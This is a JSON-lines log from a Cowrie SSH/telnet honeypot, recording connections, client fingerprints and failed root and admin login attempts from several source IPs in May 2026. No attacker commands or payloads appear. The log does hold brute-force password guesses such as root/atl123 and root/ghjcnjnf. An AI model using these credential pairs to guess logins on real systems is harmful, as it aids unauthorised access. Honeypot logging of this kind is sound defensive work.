{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:ca:38:ab:dc:76:37:73:71:e3:db:c7:d2:24:d3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfmBCHdnGOuaz8+QM6iT+GmUwkNQn7NMkNzvmLMu0mTdx+9Ljrt8qOQolAZqqVYo5K/f2zITTcyTo8JjxcUyE+cOcfIXKGe9v/LXnwpNRn+IQVdltf7pCzsgUNf/UDqtNarStdSuK0vlldAu70gzq8CqZH0nxuFjtAb171UAsnCG2DsHR0MjZiONIXBUrrJhp8Prs9VHIOtZDh4oCx/TCeImwXvddkLpYAhs9iIiBECVmvOvbwfVjEbt2Fs+ntLYMY0vic8xtLi3jyOMbUWoKqgqrPRPCPAQbfUbxOy95BLP4lXY5ARgIpMEQ3DVj/rEFHCeYag+XBUZEZ9ZUH49sB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.483955Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.517635Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scoobydoo","message":"login attempt [root/scoobydoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.641244Z","src_ip":"109.237.96.109","session":"516820b44169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:42.735388Z","src_ip":"109.237.96.109","session":"516820b44169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60462,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2e4a03063d","protocol":"telnet","message":"New connection: 135.148.14.151:60462 (159.203.135.109:23) [session: 7d2e4a03063d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:49.967391Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.137","src_port":56276,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ac7b84d96b","protocol":"ssh","message":"New connection: 66.132.172.137:56276 (10.17.0.5:22) [session: 63ac7b84d96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:54.778837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:54.852333Z","src_ip":"66.132.172.137","session":"63ac7b84d96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:54.856524Z","src_ip":"66.132.172.137","session":"63ac7b84d96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":54648,"dst_ip":"159.203.135.109","dst_port":22,"session":"a506a504d699","protocol":"ssh","message":"New connection: 45.147.249.81:54648 (159.203.135.109:22) [session: a506a504d699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:56.557302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:56.562037Z","src_ip":"45.147.249.81","session":"a506a504d699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.457805156707764,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:56.573651Z","src_ip":"135.148.14.151","session":"194d3da26caf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:56.634234Z","src_ip":"45.147.249.81","session":"a506a504d699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:56.957375Z","src_ip":"45.147.249.81","session":"a506a504d699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:58.032996Z","src_ip":"45.147.249.81","session":"a506a504d699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.74368715286255,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:59.162126Z","src_ip":"135.148.14.151","session":"cd2814c97b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.909032583236694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:59.637194Z","src_ip":"135.148.14.151","session":"3785d6871192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36764,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b4308dfabe","protocol":"telnet","message":"New connection: 135.148.14.151:36764 (159.203.135.109:23) [session: d3b4308dfabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:59.917326Z"}
{"eventid":"cowrie.session.closed","duration":31.917088508605957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:00.682560Z","src_ip":"135.148.14.151","session":"2bb8b4a7574c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:09.895999Z","src_ip":"66.132.172.137","session":"63ac7b84d96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44634,"dst_ip":"159.203.135.109","dst_port":23,"session":"417f7664fa73","protocol":"telnet","message":"New connection: 135.148.14.151:44634 (159.203.135.109:23) [session: 417f7664fa73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:18.475217Z"}
{"eventid":"cowrie.session.closed","duration":32.32068490982056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:22.287904Z","src_ip":"135.148.14.151","session":"7d2e4a03063d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36970,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c69b5379ae","protocol":"ssh","message":"New connection: 103.122.221.179:36970 (10.17.0.5:22) [session: 98c69b5379ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:30.064051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:30.073938Z","src_ip":"103.122.221.179","session":"98c69b5379ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:30.322665Z","src_ip":"103.122.221.179","session":"98c69b5379ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atl123","message":"login attempt [root/atl123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:31.066140Z","src_ip":"103.122.221.179","session":"98c69b5379ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:32.316740Z","src_ip":"103.122.221.179","session":"98c69b5379ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61866617202759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:32.535865Z","src_ip":"135.148.14.151","session":"d3b4308dfabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d0577b2375","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 10d0577b2375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:36.821964Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:36.934826Z","src_ip":"77.90.185.16","session":"10d0577b2375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c07fcf2f95","protocol":"telnet","message":"New connection: 135.148.14.151:53620 (159.203.135.109:23) [session: 96c07fcf2f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:38.002805Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52352,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4917174fe52","protocol":"ssh","message":"New connection: 80.66.85.226:52352 (159.203.135.109:22) [session: f4917174fe52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:43.376299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:43.381033Z","src_ip":"80.66.85.226","session":"f4917174fe52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:43.474064Z","src_ip":"80.66.85.226","session":"f4917174fe52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhbyf123","message":"login attempt [root/bhbyf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:43.757005Z","src_ip":"80.66.85.226","session":"f4917174fe52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:44.853235Z","src_ip":"80.66.85.226","session":"f4917174fe52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57480,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04aa00246f5","protocol":"telnet","message":"New connection: 135.148.14.151:57480 (159.203.135.109:23) [session: e04aa00246f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:45.580285Z"}
{"eventid":"cowrie.session.closed","duration":32.28454065322876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:50.759665Z","src_ip":"135.148.14.151","session":"417f7664fa73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37442,"dst_ip":"159.203.135.109","dst_port":22,"session":"36578eb63851","protocol":"ssh","message":"New connection: 103.173.227.57:37442 (159.203.135.109:22) [session: 36578eb63851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:53.186827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:53.191985Z","src_ip":"103.173.227.57","session":"36578eb63851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:53.442644Z","src_ip":"103.173.227.57","session":"36578eb63851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjnf","message":"login attempt [root/ghjcnjnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:54.194182Z","src_ip":"103.173.227.57","session":"36578eb63851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:34:55.448183Z","src_ip":"103.173.227.57","session":"36578eb63851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba20613fa9c0","protocol":"ssh","message":"New connection: 38.93.206.2:42944 (10.17.0.5:22) [session: ba20613fa9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:01.698915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:01.711747Z","src_ip":"38.93.206.2","session":"ba20613fa9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:01.766416Z","src_ip":"38.93.206.2","session":"ba20613fa9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optimist","message":"login attempt [root/optimist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:01.951380Z","src_ip":"38.93.206.2","session":"ba20613fa9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:03.007196Z","src_ip":"38.93.206.2","session":"ba20613fa9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.42838478088379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.431082Z","src_ip":"135.148.14.151","session":"96c07fcf2f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":54510,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee8cd8cdcca2","protocol":"ssh","message":"New connection: 45.147.249.81:54510 (159.203.135.109:22) [session: ee8cd8cdcca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.489139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.497209Z","src_ip":"45.147.249.81","session":"ee8cd8cdcca2","protocol":"ssh"}
